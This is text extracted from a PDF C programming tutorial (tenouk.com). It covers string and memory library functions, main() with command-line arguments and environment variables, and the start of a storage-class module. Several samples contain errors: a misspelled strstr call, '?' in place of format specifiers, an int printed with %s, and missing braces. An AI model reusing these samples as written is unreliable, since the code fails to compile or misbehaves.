printf("In \"%s\" string, a character \’%c\’\n", string2,
*strpbrk(string1, string2));
printf("is the first character to appear in\n\"%s\"\n", string1);
system("pause");
return 0;
}
Output:

//Using strchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "A zoo has many animals including birds";
int c = ‘m’;

printf(" Using strchr()\n");


printf(" ---------------\n");
printf("string1 = %s\n", string1);
printf("\nThe remainder of string1 beginning with the\n");
printf("last occurrence of character \’%c\’", c);

www.tenouk.com Page 16 of 25
printf("\nis: %s\n", strrchr(string1, c));
system("pause");
return 0;
}

Output:

//Using strspn()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";

printf(" Using strspn()\n");


printf(" ---------------\n");
printf("string1 = %s\n", string1);
printf("string2 = %s\n", string2);
printf("\nThe length of the initial segment of string1\n");
printf("containing only characters from string2 is = %u\n", strspn(string1,
string2));
system("pause");
return 0;
}

Output:

//Using strstr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *string1 = "abcdefgabcdefgabcdefg";
char *string2 = "defg";

printf(" Using strstr()\n");


printf(" ---------------\n");
printf("string1 = %s\n", string1);
printf("string2 = %s\n", string2);
printf("\nThe remainder of string1 beginning with the");
printf("\nfirst occurrence of string2 is: %s\n",
strst(string1, string2));
system("pause");
return 0;
}

www.tenouk.com Page 17 of 25
Output:

//Using strtok()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char string[] = "Is this sentence has 6 tokens?";
char *tokenPtr;

printf(" Using strtok()\n");


printf(" --------------\n");
printf("The string to be tokenized is:\n%s\n", string);
printf("\nThe tokens are: \n\n");

tokenPtr = strtok(string, " ");


while (tokenPtr != NULL)
{
printf("%s\n", tokenPtr);
tokenPtr = strtok(NULL, " ");
}
system("pause");
return 0;
}

Output:

X.8 Memory Functions Of The String Handling Library

- These functions are for:

1. Manipulating blocks of memory.


2. Comparing blocks of memory.
3. Searching blocks of memory.

- The functions treat blocks of memory as character arrays and can manipulate any block of data.
- Table X.7 summarizes the memory functions of the string handling library; the term object refers to a
block of data.

www.tenouk.com Page 18 of 25
Function prototype Function description
Copies n characters from the object pointed to by s2 into the
void *memcpy(void *s1, const
void *s2, size_t n) object pointed to by s1. A pointer to the resulting object is
returned.
Copies n characters from the object pointed to by s2 into the
object pointed to by s1. The copy is performed as if the
void *memmove(void *s1,
const void *s2, size_t n) characters are first copied from the object pointed to by s2 into
temporary array, then from the temporary array into the object
pointed to by s1. A pointer to the resulting object is returned.
Compares the first n characters of the objects pointed to by s1 and
int memcmp(const void *s1,
s2. The function return 0, less than 0, or greater than 0 if s1 is
const void *s2, size_t n)
equal to, less than, or greater than s2.
Locates the first occurrence of c (converted to unsigned
void *memchr(const void *s, char) in the first n characters of the object pointed to by s. If c
int c, size_t n) is found, a pointer to c in the object is returned. Otherwise NULL
is returned.
void *memset(void *s, int c, Copies c (converted to unsigned char) into the first n
size_t n) characters of the object pointed to by s. A pointer to the result is
returned.

Table X.7: The memory functions of the string handling library

- Let explore the program examples.

//Using memcpy()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char s1[20], s2[] = "Copying this string into s1";

memcpy(s1, s2, 17);

printf(" Using memcpy()\n");


printf(" --------------\n");
printf("s1[20] = ?\n", s1);
printf("s2[] = %s\n", s2);
printf("\nAfter s2 is copied into s1 with memcpy(),\n");
printf("using memcpy(s1, s2, 17)\n");
printf("\ns1 contains \"%s\"\n", s1);
system("pause");
return 0;
}

Output:

//Using memmove()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char x[] = "My home is home sweet home";

www.tenouk.com Page 19 of 25
printf(" Using memmove()\n");
printf(" --------------\n");
printf("The string in array x before memmove() is: \n%s", x);
printf("\nThe string in array x after memmove() using \n");
printf("memmove(x, &x[7], 12) is:\n %s\n", memmove(x, &x[7], 12));
system("pause");
return 0;
}

Output:

//Using memcmp()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char s1[] = "ABCDEFGHIJK", s2[] = "ABCDXYZPQR";

printf("Using memcmp()\n");
printf("--------------\n");
printf("s1 = %s\n", s1);
printf("s2 = %s\n", s2);
printf("\nmemcmp(s1, s2, 4) = %2d\n", memcmp(s1, s2, 4));
printf("memcmp(s1, s2, 7) = %2d\n", memcmp(s1, s2, 7));
printf("memcmp(s2, s1, 7) = %2d\n", memcmp(s2, s1, 7));
system("pause");
return 0;
}

Output:

//Using memchr()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *s = "This is a test string";
char p = 'e';

printf("Using memchr()\n");
printf("--------------\n");
printf("char p = \'e\'\n");
printf("s = %s\n", s);
printf("\nThe remainder of string s, after character \'%c\'", p);

www.tenouk.com Page 20 of 25
printf("\nis found, using memchr(s, p, 15)");
printf("\nis \"%s\"\n", memchr(s, p, 15));
system("pause");
return 0;
}

Output:

//Using memset()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char string[40] = "AAAAAAAABBBBBBBBBCCCCCCCCCC";

printf("Using memset()\n");
printf("--------------\n");
printf("string = %s\n", string);
printf("string after memset(string, 'b', 15) =\n%s\n", memset(string, 'b', 15));
system("pause");
return 0;
}

Output:

X.9 Other Functions Of The String Handling Library

- The remaining functions of the string handling library are strerror() and strlen().
- Function strerror() takes an error number and creates an error message string. A pointer to the
string is returned.
- Function strlen() takes a string as an argument, and returns the number of characters in a string, the
terminating NULL character is not included in the length.
- The functions are summarizes in table X.8.

Function prototype Function description


Maps errornum into a full text string in a system dependent
char *strerror(int errornum)
manner. A pointer to the string is returned.
Determines the length of string s. The number of characters
size_t strlen(const char *s)
preceding the terminating NULL character is returned.

Table X.8: The string manipulation functions of the string handling library

- Program example.

www.tenouk.com Page 21 of 25
//Using strerror()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
printf("strerror() - string errors\n");
printf("--------------------------\n");
printf("strerror(1)->%s", strerror(1));
printf("strerror(2)->%s", strerror(2));
printf("strerror(3)->%s", strerror(3));
printf("strerror(4)->%s", strerror(4));
printf("strerror(5)->%s", strerror(5));
printf("strerror(6)->%s", strerror(6));
printf("strerror(7)->%s", strerror(7));
printf("strerror(8)->%s", strerror(8));
printf("strerror(9)->%s", strerror(9));
printf("strerror(9)->%s", strerror(9));
printf("strerror(10)->%s", strerror(10));
system("pause");
return 0;
}

Output:

- Program example compiled using VC++ .Net.

//Using strchr()
#include <cstdio>
#include <cstring>

int main()
{
char *string1 = "A zoo has many animals including birds";
int c = 'm';

printf(" Using strchr()\n");


printf(" ---------------\n");
printf("string1 = %s\n", string1);
printf("\nThe remainder of string1 beginning with the\n");
printf("last occurrence of character \'%c\'", c);
printf("\nis: %s\n", strrchr(string1, c));
return 0;
}

Output:

www.tenouk.com Page 22 of 25
- For C++ character and string manipulations that use the Standard Template Library (STL), please refer
to Module 25 and 26.
- Program examples compiled using g++ (C++) and gcc (C).

//*****ctystring.cpp******
//Using sprintf()
#include <cstdio>
using namespace std;

int main()
{
char s[80];
int x;
float y;

printf("Using sprint()\n");
printf("--------------\n");
printf("Enter an integer and a float, separated by space: \n");
scanf("%d%f", &x, &y);
sprintf(s, "Integer:%6d\nFloat:%8.2f", x, y);
printf("\n%s\n%s\n", "The formatted output stored in array s is: ", s);
return 0;
}

[bodo@bakawali ~]$ g++ ctystring.cpp -o ctystring


[bodo@bakawali ~]$ ./ctystring

Using sprint()
--------------
Enter an integer and a float, separated by space:
100 33.354

The formatted output stored in array s is:


Integer: 100
Float: 33.35

/****ctstring2.c, using memcpy()*/


#include <stdio.h>
#include <string.h>

int main()
{
char s1[20], s2[] = "Copying this string into s1";
memcpy(s1, s2, 17);
printf(" Using memcpy()\n");
printf(" --------------\n");
printf("s1[20] = ?\n", s1);
printf("s2[] = %s\n", s2);
printf("\nAfter s2 is copied into s1 with memcpy(),\n");
printf("using memcpy(s1, s2, 17)\n");
printf("\ns1 contains \"%s\"\n", s1);
return 0;
}

[bodo@bakawali ~]$ gcc ctstring2.c -o ctstring2


[bodo@bakawali ~]$ ./ctstring2

Using memcpy()
--------------
s1[20] = ?
s2[] = Copying this string into s1

After s2 is copied into s1 with memcpy(),

www.tenouk.com Page 23 of 25
using memcpy(s1, s2, 17)

s1 contains "Copying this stri"

/*******************cstr.c**************************/
/*Using functions isdigit(), isalpha(), isalnum(), and isxdigit()*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{
printf("Using functions isdigit(), isalpha(),\n");
printf("isalnum(), and isxdigit()\n");
printf("-------------------------------------\n");

printf("\nAccording to isdigit():\n");
isdigit('7') ? printf("7 is a digit\n") : printf("7 is not a digit\n");
isdigit('$') ? printf("$ is a digit\n") : printf("$ is not a digit\n");

printf("\nAccording to isalpha():\n");
isalpha('B') ? printf("B is a letter\n") : printf("B is not a letter\n");
isalpha('b') ? printf("b is a letter\n") : printf("b is not a letter\n");
isalpha('&') ? printf("& is a letter\n") : printf("& is not a letter\n");
isalpha('4') ? printf("4 is a letter\n") : printf("4 is not a letter\n");

printf("\nAccording to isalnum():\n");
isalnum('A') ? printf("A is a digit or a letter\n") : printf("A is not a digit or a
letter\n");
isalnum('8') ? printf("8 is a digit or a letter\n") : printf("8 is not a digit or a
letter\n");
isalnum('#') ? printf("# is a digit or a letter\n") : printf("# is not a digit or a
letter\n");

printf("\nAccording to isxdigit():\n");
isxdigit('F') ? printf("F is a hexadecimal\n") : printf("F is not a hexadecimal\n");
isxdigit('J') ? printf("J is a hexadecimal\n") : printf("J is not a hexadecimal\n");
isxdigit('7') ? printf("7 is a hexadecimal\n") : printf("7 is not a hexadecimal\n");
isxdigit('$') ? printf("$ is a hexadecimal\n") : printf("$ is not a hexadecimal\n");
isxdigit('f') ? printf("f is a hexadecimal\n") : printf("f is not a hexadecimal\n");

return 0;
}

[bodo@bakawali ~]$ gcc cstr.c -o cstr


[bodo@bakawali ~]$ ./cstr

Using functions isdigit(), isalpha(),


isalnum(), and isxdigit()
-------------------------------------

According to isdigit():
7 is a digit
$ is not a digit

According to isalpha():
B is a letter
b is a letter
& is not a letter
4 is not a letter

According to isalnum():
A is a digit or a letter
8 is a digit or a letter
# is not a digit or a letter

According to isxdigit():
F is a hexadecimal
J is not a hexadecimal
7 is a hexadecimal
$ is not a hexadecimal
f is a hexadecimal

---------------------------------------------------o0o--------------------------------------------------

Further reading and digging:

www.tenouk.com Page 24 of 25
1. Check the best selling C/C++ books at Amazon.com.
2. Module G (Story) and Module M (Microsoft implementation) for Multibytes, Unicode characters and
Localization.

www.tenouk.com Page 25 of 25
MODULE Y
THE main() AND COMMAND-LINE ARGUMENT

My Training Period: hours

Note:
Compiled using Microsoft Visual C++ / .Net, empty win32 console mode application. Some examples also tested
using Borland C++ Builder 5.02. gcc compilation example is given at the end of this Module.
For the main() command line arguments and pointer story, please read Module 8, Section 8.9. For wide character
and Unicode wmain() please refer to Module G (Story) and Module M (implementation).

Abilities:

▪ Able to understand and use a portable main() versions and their variation.
▪ Able to understand and use programs that accept command-line arguments.
▪ Able to build programs that accept command-line arguments.
▪ Able to build programs that can run with options/switches.

Y.1 The main Function and Program Execution

- The ‘concepts’ discussed in this Module may be very useful for UNIX / Linux (or command line tools
for Microsoft Windows) programmers because of the extensive usage of the command-line programs or
tools.
- A special function called main() is the starting point of execution for all C and C++ programs. It is
not predefined by the compiler; so that, it must be supplied in the program.
- If your code adheres to the Unicode programming model, then you can use the wide-character version
of main(), wmain(), but it is implementation dependent.
- The main() function serves as the starting point for program execution. It usually controls program
execution by directing the calls to other functions in the program.
- A program usually stops executing at the end of main(), denoted by closing curly brace (}), although
it can terminate at other points in the program for a variety of reasons such as the forced program
termination by using the exit() function.
- As you have learned before, functions within the program body perform one or more specific tasks.
The main() function can call these functions to perform their respective tasks as shown in the
following program skeleton.

int main()
{
//function call…
MyFunction();

//another function call…
YourFunction();

//another function call…
OurFunction();

return 0;
}

- When main() calls another function, it passes execution control to the function, then, execution
begins at the first statement in the function. A function returns control to main() when a return
statement is executed or when the end of the function is reached denoted by the closing curly brace.
- If you aware, all the program examples presented in this tutorial do not have parameters in the main()
function. Actually there are others version, that you can declare main() function, to have parameters,
as any other functions but with a few exceptions.
- As explained before in Function Module, the term parameter or formal parameter refers to the
identifier that receives a value passed to a function. When one function calls another, the called
function receives values for its parameters from the calling function.
- These values are called arguments. The parameter(s) just acts as a placeholder. You can declare
parameters to main() so that it can receive arguments from the command line using the following
format:

int main(int argc, char *argv[])


{

Page 1 of 13
...
return 0;
}

- Or

int main(int argc, char *argv[], char *envp[])


{
...
return 0;
}

- There is no prototype declared for main(), and as a conclusion, we have main() that can be defined
with zero, two, or three parameters as shown below.

int main(void)
{
//...
return 0;
}
int main(int argc, char *argv[])
{
//...
return 0;
}

//implementation dependant
int main(int argc, char *argv[], char *envp[])
{
//...
return 0;
}

- When you want to pass information to the main() function, the parameters are traditionally named
argc and argv, although for C compiler does not require these names.
- The types for argc and argv are defined by the C language. Traditionally, if a third parameter is
passed to main(), that parameter is named envp, a Microsoft extension to the ANSI C (ISO/IEC C)
standard (or env for Borland®).
- The following table lists some description of the parameters.

Parameter Description
For argument count, an integer that contains the count of arguments that
argc follows in argv. Since the program name is considered an argument,
the argc parameter is always greater than or equal to 1. Type is int.
For argument vector, an array of null-terminated strings representing
command-line arguments entered by the user of the program. All
elements of the argv array are pointers to strings. By convention,
argv[0] is the command with which the program is invoked, that is
*argv[]/**argv
the program name; then, argv[1] is the first command-line
argument, and so on, until argv[argc], which is always NULL
pointer. The first command-line argument is always argv[1] and the
last one is argv[argc–1]. All elements of the argv array are
pointers to strings. Type is char.
Is an array of pointers to environment variables. The envp array is
terminated by a null pointer. This is a Microsoft extension to the ANSI
C standard and also used in Microsoft C++. It is an array of strings
representing the variables set in the user's environment. This array is
terminated by a NULL entry. It can be declared as an array of pointers
to char(char *envp[]) or as a pointer to pointers to char(char
*envp[]
**envp). If your program uses wmain() instead of main(), use
*env(Borland®)
the wchar_t() data type instead of char. The environment block
passed to main() and wmain() is a frozen copy of the current
environment. If you subsequently change the environment via a call to
putenv() or _wputenv(), the current environment (as returned by
getenv()/_wgetenv() and the _environ()/_wenviron()
variable) will change, but the block pointed to by envp will not change.

Page 2 of 13
This argument is ANSI compatible in C, but not in C++. It is also a
common extension in many Linux/UNIX® systems.

Table Y.1: main() parameters

- A program invoked with no command-line arguments will receive a value of one for argc, as the
program name of the executable file is placed in argv[0]. Strings pointed to by argv[1] through
argv[argc–1] represent program parameters.
- The simplest illustration is the echo program, which echoes its command-line arguments on a single
line, separated by blanks as shown below when you run at the command prompt of Windows Operating
System.

echo Hello world!

- Prints the output:

Hello world!

- As explained before, by convention, argv[0] is the program name by which the program was
invoked, so argc is at least 1. If argc is 1, there are no command-line arguments after the program
name.
- In the example above, argc is 3, and…

argv[0] is echo - the program name


argv[1] is Hello - string
argv[2] is world! - string

- The first optional argument is argv[1] and the last is argv[argc-1]; additionally the standard
requires that argv[argc] be NULL pointer. The explanation can be illustrated as shown below.

- The following program example is the version of echo program that treats argv as an array of
character pointers:

//program & file names, myecho.exe


//compiled using Visual C++ .Net
#include <stdio.h>

//echo command-line argument


//using array of character pointers
int main(int argc, char *argv[])
{
int i;
for(i=1; i<argc; i++)
printf("%s%s", argv[i],(i<argc-1)? " ":"");
printf("\n");
return 0;
}

- Run the myecho.exe at console/command prompt where the executable program is located, to see
the output. For the following output, myecho.exe is at the C: drive.

Page 3 of 13
- Since argv is a pointer to an array of pointers, we can manipulate the pointer rather than the index of
the array.
- The next variation is based on incrementing argv, which is a pointer to pointer to char, while argc
is counted down.

//program & file names, myecho.exe


//compiled using Visual C++ .Net
#include <stdio.h>

//another version of the myecho program,


//command-line argument
int main(int argc, char *argv[])
{
while(--argc > 0)
printf("%s%s",*++argv, (argc > 1) ? " ": "");
printf("\n");
return 0;
}

- The output:

- Since argv is a pointer to the beginning of the array of argument strings, incrementing it by 1
(++argv) makes it point at the original argv[1] instead of argv[0].
- Each successive increment moves it along to the next argument; *argv is then the pointer to that
argument. At the same time, argc is decremented; when it becomes zero, there are no arguments left
to print. Alternatively we could write the printf() statement as:

printf((argc > ?) ? "%s ": "%s", *++argv);

- This shows that the format argument of printf() can also be an expression.
- Consider the following program example, very simple text pattern search program.

//searchpattern.cpp, compiled using


//Visual C++ .Net
#include <stdio.h>
//maximum input line length
#define MAXLINE 100

//Function prototypes...
int getline(char line[], int max);
int strindex(char source[], char searchfor[]);

//pattern to be searched for in the line


char pattern[] = "eat";

Page 4 of 13
//find/display all line matching pattern
main()
{
char line[MAXLINE];
int found = 0;

printf("Searching \'eat\' in the line of text\n");


printf("Enter line of text:\n");
while(getline(line, MAXLINE) > 0)
if(strindex(line, pattern) >= 0)
{ printf("%s", line);
found++;
}
return found;
}

//getline, get line into string str, return the length


int getline(char str[], int lim)
{
int count, i;
i=0;

while(--lim > 0 && (count=getchar()) != EOF && count != '\n')


str[i++] = count;
if(count=='\n')
str[i++] = count;
str[i]='\0';
return i;
}
//strindex, return index of t in str, -1 if none
int strindex(char str[], char t[])
{
int i, j, k;
for(i=0;str[i]!='\0';i++)
{
for(j=i, k=0; t[k] != '\0' && str[j] == t[k]; j++, k++)
;
if(k > 0 && t[k] == '\0')
return i;
}
return -1;
}

- The above program named searchpattern and when the searchpattern.exe is run, the
output is shown below.

Y.2 Command Line Argument

- Let change the program so that the pattern to be matched is specified by the first argument on the
command line. As an example, let create a simple program skeleton.

//searchpattern.cpp, compiled using VC++ .Net


//not usable...just program skeleton
#include <stdio.h>
#include <string.h>

Page 5 of 13
#define MAXLINE 100

int getline(char *line, int max)


{
printf("In getline() function\n");
//put getting line of text codes here…
return 0;}

//find and print lines that match pattern


//from the 1st argument
main(int argc, char *argv[])
{
char line[MAXLINE];
int found = 0;

//If just program name (argc = 1), then...


if(argc != 2)
printf("Usage: searchpattern thepattern\n");

//If the program name with switch/option (argc = 2), then...


else

while(getline(line, MAXLINE) > 0)


{
if(strstr(line, argv[1]) != NULL)
{printf("%s", line);
found++;}
}
return found;

- The output when running the program at command prompt or where the searchpattern.exe is
located is shown below.

- And the following is the working program example of the searchpattern, using command line
argument.

//searchpattern.cpp, compiled using VC++ .Net


#include <stdio.h>
#include <string.h>
#define MAXLINE 100

int getline(char *line, int max)


{
int count, i;
i=0;

while(--max > 0 && (count=getchar()) != EOF && count != '\n')


line[i++] = count;
if(count=='\n')
line[i++] = count;
line[i]='\0';
return i;
}

//find and print lines that match the


//pattern from the 1st argument
main(int argc, char *argv[])
{

Page 6 of 13
char line[MAXLINE];
int found = 0;

//If just program name (argc = 1), then...


if(argc != 2)
printf("Usage: searchpattern thepattern\n");

//If the program name with switch/option (argc = 2), then...


else

while(getline(line, MAXLINE) > 0)


{
if(strstr(line, argv[1]) != NULL)
{
printf("%s", line);
found++;
}
}
return found;

- The output, when running the searchpattern.exe at C: (or run it where ever the
searchpattern.exe is located):

- The standard library function strstr(a, b) returns a pointer to the first occurrence of the string b
in the string a, or NULL if there is none. It is declared in <string.h> or C++ wrapper <cstring>.
- The program skeleton can now be expanded to illustrate further the pointer constructions. Suppose we
want to allow 2 optional arguments (or switches). The first one is: to print all line except those that
match the pattern; the second one is: precede each printed line by its line number.

Y.3 Command line and switches/options

- For C/C++ programs on UNIX/Linux systems or Windows command line, conventionally, an argument
that begins with a minus sign introduces an optional flag or parameter, normally called switch or
option.
- For Windows, the forward slash (/) also used together with the switches. For example, if we choose –
v (for inversion) to signal the inversion, and –n (for number) to request line numbering, then the
command line:

searchpattern –v –n thepattern

- Will print each line that doesn’t match the pattern, preceded by its line number.
- Optional arguments should be permitted in any order, and the rest of the program should be
independent of the number of arguments that were present.
- Furthermore, it is also convenient for users if option arguments can be combined, as in the following
command line:

searchpattern –vn thepattern

- The following is the working program example.

//searchpattern.cpp, compiled using

Page 7 of 13
//VC++ .Net
#include <stdio.h>
#include <string.h>
//maximum input line length
#define MAXLINE 100

int getline(char line[], int max)


{
int count, i;
i=0;

while(--max > 0 && (count=getchar()) != EOF && count != '\n')


line[i++] = count;
if(count=='\n')
line[i++] = count;
line[i]='\0';
return i;
}

//find all line of text matching pattern


//supplied by command line argument
main(int argc, char *argv[])
{
char line[MAXLINE];
long linenum = 0;
int theoption, except = 0, number = 0, found =0;

//check the minus sign....


while(--argc > 0 && (*++argv)[0] == '-')
//check the option...
while(theoption = *++argv[0])
switch (theoption)
{
case 'v':
except = 1;
break;
case 'n':
number = 1;
break;
default:
printf("searchpattern: illegal option %s\n", theoption);
argc = 0;
found = -1;
break;
}
//
if(argc != 1)
{
//some help...
printf("Usage: searchpattern -v -n thepattern\n");
printf("Try: searchpattern -v -n test\n");
printf("Try: searchpattern -v test\n");
printf("Try: searchpattern -n test\n");
printf("Try: searchpattern -vn test\n");
printf("Then enter line of text, with or w/o the pattern!\n");
}
//
else
while(getline(line, MAXLINE) > 0)
{
linenum++;
if((strstr(line,*argv) != NULL) != except)
{
if(number)
printf("%ld:", linenum);
printf("%s", line);
found++;
}
}
return found;
}

- The output when running the searchpattern.exe at the command prompt C: (or run it where it is
located). For Borland 5.02, you have to run the full command line as shown below.

searchpattern –v –n test

Page 8 of 13
- The parameters argc and argv are modifiable and retain their last-stored values between program
startup and program termination.
- For wide-character, Microsoft implementation, the declaration syntax for wmain() is as follows:

int wmain( )
{
//...
return 0;
}

- Or, optionally:

int wmain(int argc, wchar_t *argv[], wchar_t *envp[])


{
//...
return 0;
}

- For Microsoft implementation please refer to Module G (Story) and Module M for wmain().
- For Borland®, env[] is used instead of envp[]. For UNIX/Linux, please check their documentation
:o).
- The types for argc and argv are defined by the language. The names argc, argv, and envp are
traditional, but are not required by the compiler. So, you may use other name isn’t it? Then try
yourself :o).

Page 9 of 13
- Alternatively, the main() and wmain() functions can be declared as returning void (no return
value). If you declare main() or wmain() as returning void, you cannot return an exit code to the
parent process or operating system using a return statement.
- To return an exit code when main() or wmain() is declared as void, you must use the exit()
function.

Y.4 Some main() Function Restrictions

- Several restrictions apply to the main() function that do not apply to any other C/C++ functions. The
main() function compared to normal function:

▪ Cannot be overloaded.
▪ Cannot be declared as inline.
▪ Cannot be declared as static.
▪ Cannot have its address taken.
▪ Cannot be called.

- The following example shows how to use the argc, argv, and envp arguments to main():

//main()arguments program example


//C++ codes
#include <iostream>
//For Borland 5.02 you may use <string.h> instead of <cstring>
//and comment out the ‘using namespace std’;
#include <cstring>
using namespace std;

int main(int argc, char *argv[], char *envp[])


{
//The default is no line numbers.
int LineNum = 0;

//If /n is passed to the .exe program, display


//numbered listing of environment variables.
//If program name and switch/option... AND stricmp...
if((argc == 2) && stricmp(argv[1], "/n" ) == 0)
LineNum = 1;
else
cout<<"no \'/n\' passed..."<<endl;

//Walk through list of strings until a NULL is encountered.


for(int i = 0; envp[i] != NULL; ++i)
{
if(LineNum)
cout<<i<<": "<<envp[i]<<"\n";
}
cout<<"Usage: searchpattern /n\n";
return 0;
}

- The output, when searchpattern.exe run at command prompt (or where ever the .exe is
located), depends on your environment setting, is shown below.

Page 10 of 13
Y.5 Parsing C Command-Line Arguments – Microsoft Implementation

- For information, Microsoft uses Microsoft C Runtime (CRT) for C codes; that is Microsoft C version.
- Microsoft C startup code uses the following rules when interpreting arguments given on the operating
system command line:

▪ Arguments are delimited by white space, which is either a space or a tab.


▪ A string surrounded by double quotation marks is interpreted as a single argument, regardless of
white space contained within. A quoted string can be embedded in an argument. Note that the caret
(^) is not recognized as an escape character or delimiter.
▪ A double quotation mark preceded by a backslash, \", is interpreted as a literal double quotation
mark (").
▪ Backslashes are interpreted literally, unless they immediately precede a double quotation mark.
▪ If an even number of backslashes is followed by a double quotation mark, then one backslash (\)
is placed in the argv array for every pair of backslashes (\\), and the double quotation mark (")
is interpreted as a string delimiter.
▪ If an odd number of backslashes is followed by a double quotation mark, then one backslash (\) is
placed in the argv array for every pair of backslashes (\\) and the double quotation mark is
interpreted as an escape sequence by the remaining backslash, causing a literal double quotation
mark (") to be placed in argv.

- The following list illustrates the above listed rules by showing the interpreted result passed to argv for
several examples of command-line arguments. The output listed in the second, third, and fourth
columns is from the following program example.

Command-Line
argv[1] argv[2] argv[3]
Input
"a b c" d e a b c d e
"ab\"c" "\\" d ab"c \ d
a\\\b d"e f"g h a\\\b de fg h
a\\\"b c d a\"b c d
a\\\\"b c" d e a\\b c d e

Table Y.2

//searchpattern.cpp
//compiled using VC++ .Net and Borland C++ 5.02
//run on windows machine...
#include <stdio.h>
//For VC++ .Net, comment out the above #include <stdio.h>
//and uncomment the following…
//include <cstdio>
//using namespace std;

int main(int argc, /*Number of strings in array argv*/


char *argv[], /*Array of command-line argument strings*/
char **envp) /*Array of environment variable strings*/
{

Page 11 of 13
int count;

/*Display each command-line argument.*/


printf("\nThe command-line arguments:\n");
for(count = 0; count < argc; count++)
printf(" argv[%d] %s\n", count, argv[count]);

/*Display each environment variable.*/


printf("\nEnvironment variables:\n");
while(*envp != NULL)
printf(" %s\n", *(envp++));

return 0;
}

- The output, when running the .exe, depends on your environment setting, is shown below:

- For windows system, you can put the command line program (executable programs) in the System32
folder, and then you can run it from any relative or absolute path. For Linux it is sbin or bin.
- Program example compiled using gcc.

/***************cmdline.c****************/
/***********Run on FeDorA 3 Machine********/
#include <stdio.h>
/*For C++ compiler, comment out the above #include <stdio.h>*/
/*and uncomment the following.*/
/*include <cstdio>*/
/*using namespace std;*/

int main(int argc, /*Number of strings in array argv*/


char *argv[], /*Array of command-line argument strings*/
char **envp) /*Array of environment variable strings*/
{
int count;

/*Display each command-line argument.*/


printf("\nThe command-line arguments:\n");
for(count = 0; count < argc; count++)
printf(" argv[%d] %s\n", count, argv[count]);

/*Display each environment variable.*/


printf("\nEnvironment variables:\n");
while(*envp != NULL)
printf(" %s\n", *(envp++));

return 0;
}

[bodo@bakawali ~]$ gcc cmdline.c -o cmdline


[bodo@bakawali ~]$ ./cmdline

The command-line arguments:


argv[0] ./cmdline

Environment variables:
HOSTNAME=bakawali

Page 12 of 13
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
SSH_CLIENT=::ffff:203.106.94.71 4136 22
SSH_TTY=/dev/pts/4
USER=bodo

LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05
;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32
:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=
00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=
00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:
KDEDIR=/usr
MAIL=/var/spool/mail/bodo
PATH=/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/bodo/bin
INPUTRC=/etc/inputrc
PWD=/home/bodo
LANG=en_US.UTF-8
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=1
HOME=/home/bodo
LOGNAME=bodo
SSH_CONNECTION=::ffff:203.106.94.71 4136 ::ffff:203.106.94.94 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=./cmdline

-----------------------------------o0o -----------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C and C++ books at Amazon.com.


2. Module G (Story) and Module M (implementation) for Multibytes, Unicode characters and Localization.

Page 13 of 13
MODULE Z
THE C STORAGE CLASSES, SCOPE
AND MEMORY ALLOCATION

My Training Period: hours

Note: gcc compilation examples are given at the end of this Module.

Abilities:

▪ Understand and use the auto, register, extern and static keywords.
▪ Understand the basic of the process address space.
▪ Understand and appreciate the static, automatic and dynamic memory allocations.
▪ Understand how the memory is laid out for a running process.
▪ Understand and use the malloc(), calloc(), realloc() and free() functions.

Z.1 INTRODUCTION

- The storage class determines the part of memory where storage is allocated for an object (particularly
variables and functions) and how long the storage allocation continues to exist.
- A scope specifies the part of the program which a variable name is visible, that is the accessibility of
the variable by its name. In C program, there are four storage classes: automatic, register, external, and
static.
- Keep in mind that in the hardware terms we have primary storage such as registers, cache, memory
(Random Access Memory) and secondary storage such as magnetic and optical disk.

Z.1.1 AUTOMATIC VARIABLE - auto

- They are declared at the start of a program’s block such as the curly braces ( { } ). Memory is
allocated automatically upon entry to a block and freed automatically upon exit from the block.
- The scope of automatic variables is local to the block in which they are declared, including any blocks
nested within that block. For these reasons, they are also called local variables.
- No block outside the defining block may have direct access to automatic variables (by variable name)
but, they may be accessed indirectly by other blocks and/or functions using pointers.
- Automatic variables may be specified upon declaration to be of storage class auto. However, it is not
required to use the keyword auto because by default, storage class within a block is auto.
- Automatic variables declared with initializers are initialized every time the block in which they are
declared is entered or accessed.

Z.1.2 REGISTER VARIABLE - register

- Automatic variables are allocated storage in the main memory of the computer; however, for most
computers, accessing data in memory is considerably slower than processing directly in the CPU.
- Registers are memory located within the CPU itself where data can be stored and accessed quickly.
Normally, the compiler determines what data is to be stored in the registers of the CPU at what times.
- However, the C language provides the storage class register so that the programmer can suggest to
the compiler that particular automatic variables should be allocated to CPU registers, if possible and it
is not an obligation for the CPU.
- Thus, register variables provide a certain control over efficiency of program execution.
- Variables which are used repeatedly or whose access times are critical may be declared to be of storage
class register.
- Variables can be declared register as follows:

register int var;

Z.1.3 EXTERNAL VARIABLE - extern

- All variables we have seen so far have had limited scope (the block in which they are declared) and
